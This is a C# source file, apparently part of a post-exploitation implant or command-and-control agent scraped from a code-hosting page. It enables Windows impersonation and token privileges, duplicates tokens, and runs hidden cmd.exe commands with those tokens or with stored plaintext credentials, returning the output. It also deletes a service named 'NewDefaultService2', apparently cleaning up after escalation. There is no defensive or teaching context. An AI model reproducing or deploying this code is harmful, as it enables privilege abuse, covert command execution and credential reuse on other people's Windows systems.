||||
|
||||
public static void DetermineImpersonationMethod(IntPtr token, LogonFlags l, StartupInfo startupInfo, out ProcessInformation processInfo)
|
||||
|
||||
{
|
||||
if (CreateProcessAsUserW(token, null, @"c:\windows\system32\cmd.exe /Q /C hostname && exit", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out processInfo))
|
||||
TokenManager.Method = 1;
|
||||
else
|
||||
if (CreateProcessWithTokenW(token, l, null, @"c:\windows\system32\cmd.exe /Q /C hostname && exit", 0,
|
||||
IntPtr.Zero, null, ref startupInfo, out processInfo))
|
||||
TokenManager.Method = 2;
|
||||
}
|
||||
|
||||
// Code from https://www.pinvoke.net/default.aspx/Constants/SECURITY_MANDATORY.html
|
||||
public static bool IsHighIntegrity(SysCallManager sysCall)
|
||||
{
|
||||
|
||||
|
||||
var hToken = IntPtr.Zero;
|
||||
|
||||
GetProcessToken(Process.GetCurrentProcess().Handle, TokenAccessFlags.TokenAllAccess, out hToken,
|
||||
sysCall);
|
||||
|
||||
if (hToken == IntPtr.Zero) return false;
|
||||
|
||||
try
|
||||
{
|
||||
var pb = Marshal.AllocCoTaskMem(1000);
|
||||
try
|
||||
{
|
||||
uint cb = 1000;
|
||||
if (GetTokenInformation(hToken, TokenInformationClass.TokenIntegrityLevel, pb, cb, out cb))
|
||||
{
|
||||
var pSid = Marshal.ReadIntPtr(pb);
|
||||
|
||||
var dwIntegrityLevel = Marshal.ReadInt32(GetSidSubAuthority(pSid, (Marshal.ReadByte(GetSidSubAuthorityCount(pSid)) - 1U)));
|
||||
|
||||
return dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeCoTaskMem(pb);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public static void Start()
|
||||
{
|
||||
var sysCall = new SysCallManager();
|
||||
|
||||
try
|
||||
{
|
||||
var token = WindowsIdentity.GetCurrent().Token;
|
||||
var privileges = new List<string>
|
||||
{
|
||||
"SeImpersonatePrivilege",
|
||||
"SeTcbPrivilege",
|
||||
"SeAssignPrimaryTokenPrivilege",
|
||||
"SeIncreaseQuotaPrivilege"
|
||||
};
|
||||
|
||||
var currentToken = IntPtr.Zero;
|
||||
GetProcessToken(Process.GetCurrentProcess().Handle, TokenAccessFlags.TokenAdjustPrivileges, out currentToken,
|
||||
sysCall);
|
||||
|
||||
EnablePrivileges(currentToken, privileges);
|
||||
|
||||
CloseHandle(currentToken);
|
||||
|
||||
const TokenAccessFlags tokenAccess = TokenAccessFlags.TokenQuery | TokenAccessFlags.TokenAssignPrimary |
|
||||
TokenAccessFlags.TokenDuplicate | TokenAccessFlags.TokenAdjustDefault |
|
||||
TokenAccessFlags.TokenAdjustSessionId;
|
||||
|
||||
if (!DuplicateTokenEx(token, tokenAccess, IntPtr.Zero, SecurityImpersonationLevel.SecurityImpersonation,
|
||||
TokenType.TokenPrimary, out var newToken))
|
||||
return;
|
||||
|
||||
var startupInfo = new StartupInfo();
|
||||
startupInfo.cb = Marshal.SizeOf(startupInfo);
|
||||
startupInfo.lpDesktop = "";
|
||||
startupInfo.wShowWindow = 0;
|
||||
startupInfo.dwFlags |= 0x00000001;
|
||||
|
||||
const LogonFlags logonFlags = new LogonFlags();
|
||||
|
||||
if (CreateProcessAsUserW(newToken, null,
|
||||
@"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", IntPtr.Zero,
|
||||
IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _))
|
||||
{
|
||||
TokenManager.Token = newToken;
|
||||
TokenManager.Method = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!CreateProcessWithTokenW(newToken, logonFlags, null,
|
||||
@"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", 0, IntPtr.Zero,
|
||||
null, ref startupInfo, out _)) return;
|
||||
TokenManager.Token = newToken;
|
||||
TokenManager.Method = 2;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public static string ExecuteCommand(string command)
|
||||
{
|
||||
var output = "";
|
||||
if (TokenManager.Token == IntPtr.Zero && TokenManager.Method == 0)
|
||||
{
|
||||
var process = new Process();
|
||||
var startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
FileName = @"C:\windows\system32\cmd.exe",
|
||||
Arguments = "/C" + command + " && exit",
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardError = true,
|
||||
UseShellExecute = false
|
||||
};
|
||||
|
||||
process.StartInfo = startInfo;
|
||||
process.Start();
|
||||
output = process.StandardOutput.ReadToEnd();
|
||||
|
||||
if (output == "")
|
||||
output = string.Concat("ERR:", process.StandardError.ReadToEnd());
|
||||
|
||||
process.WaitForExit();
|
||||
process.Close();
|
||||
}
|
||||
else
|
||||
{
|
||||
var outRead = IntPtr.Zero;
|
||||
var outWrite = IntPtr.Zero;
|
||||
|
||||
var saAttr = new SecurityAttributes
|
||||
{
|
||||
nLength = Marshal.SizeOf(typeof(SecurityAttributes)),
|
||||
bInheritHandle = true,
|
||||
lpSecurityDescriptor = IntPtr.Zero
|
||||
};
|
||||
|
||||
CreatePipe(ref outRead, ref outWrite, ref saAttr, 0);
|
||||
|
||||
var startupInfo = new StartupInfo();
|
||||
startupInfo.cb = Marshal.SizeOf(startupInfo);
|
||||
startupInfo.lpDesktop = "";
|
||||
startupInfo.hStdOutput = outWrite;
|
||||
startupInfo.hStdError = outWrite;
|
||||
startupInfo.wShowWindow = 0;
|
||||
startupInfo.dwFlags |= 0x00000101;
|
||||
|
||||
var l = new LogonFlags();
|
||||
|
||||
switch (TokenManager.Method)
|
||||
{
|
||||
case 1:
|
||||
CreateProcessAsUserW(TokenManager.Token, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _);
|
||||
break;
|
||||
case 2:
|
||||
CreateProcessWithTokenW(TokenManager.Token, l, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, 0, IntPtr.Zero, null, ref startupInfo, out _);
|
||||
break;
|
||||
default:
|
||||
CreateProcessWithLogonW(TokenManager.Credentials[0], TokenManager.Credentials[1], TokenManager.Credentials[2], l, null, @"c:\windows\system32\cmd.exe /Q /C" + command, 0, 0, null, ref startupInfo, out _);
|
||||
break;
|
||||
}
|
||||
|
||||
var buf = new byte[100];
|
||||
var dwRead = 0;
|
||||
Thread.Sleep(500);
|
||||
|
||||
while (true)
|
||||
{
|
||||
var bSuccess = ReadFile(outRead, buf, 100, ref dwRead, IntPtr.Zero);
|
||||
output = string.Concat(output, Encoding.Default.GetString(buf));
|
||||
|
||||
if (!bSuccess || dwRead < 100)
|
||||
break;
|
||||
}
|
||||
|
||||
CloseHandle(outRead);
|
||||
CloseHandle(outWrite);
|
||||
}
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
internal static void RunAs(string domain, string user, string password)
|
||||
{
|
||||
var startupInfo = new StartupInfo();
|
||||
startupInfo.cb = Marshal.SizeOf(startupInfo);
|
||||
startupInfo.lpDesktop = "";
|
||||
startupInfo.wShowWindow = 0;
|
||||
startupInfo.dwFlags |= 0x00000001;
|
||||
|
||||
const LogonFlags logonFlags = new LogonFlags();
|
||||
|
||||
if (!CreateProcessWithLogonW(user, domain, password, logonFlags, null,
|
||||
@"c:\windows\system32\cmd.exe /Q /C hostname", 0, 0, null, ref startupInfo, out _)) return;
|
||||
|
||||
TokenManager.Method = 3;
|
||||
TokenManager.Credentials[0] = user;
|
||||
TokenManager.Credentials[1] = domain;
|
||||
TokenManager.Credentials[2] = password;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user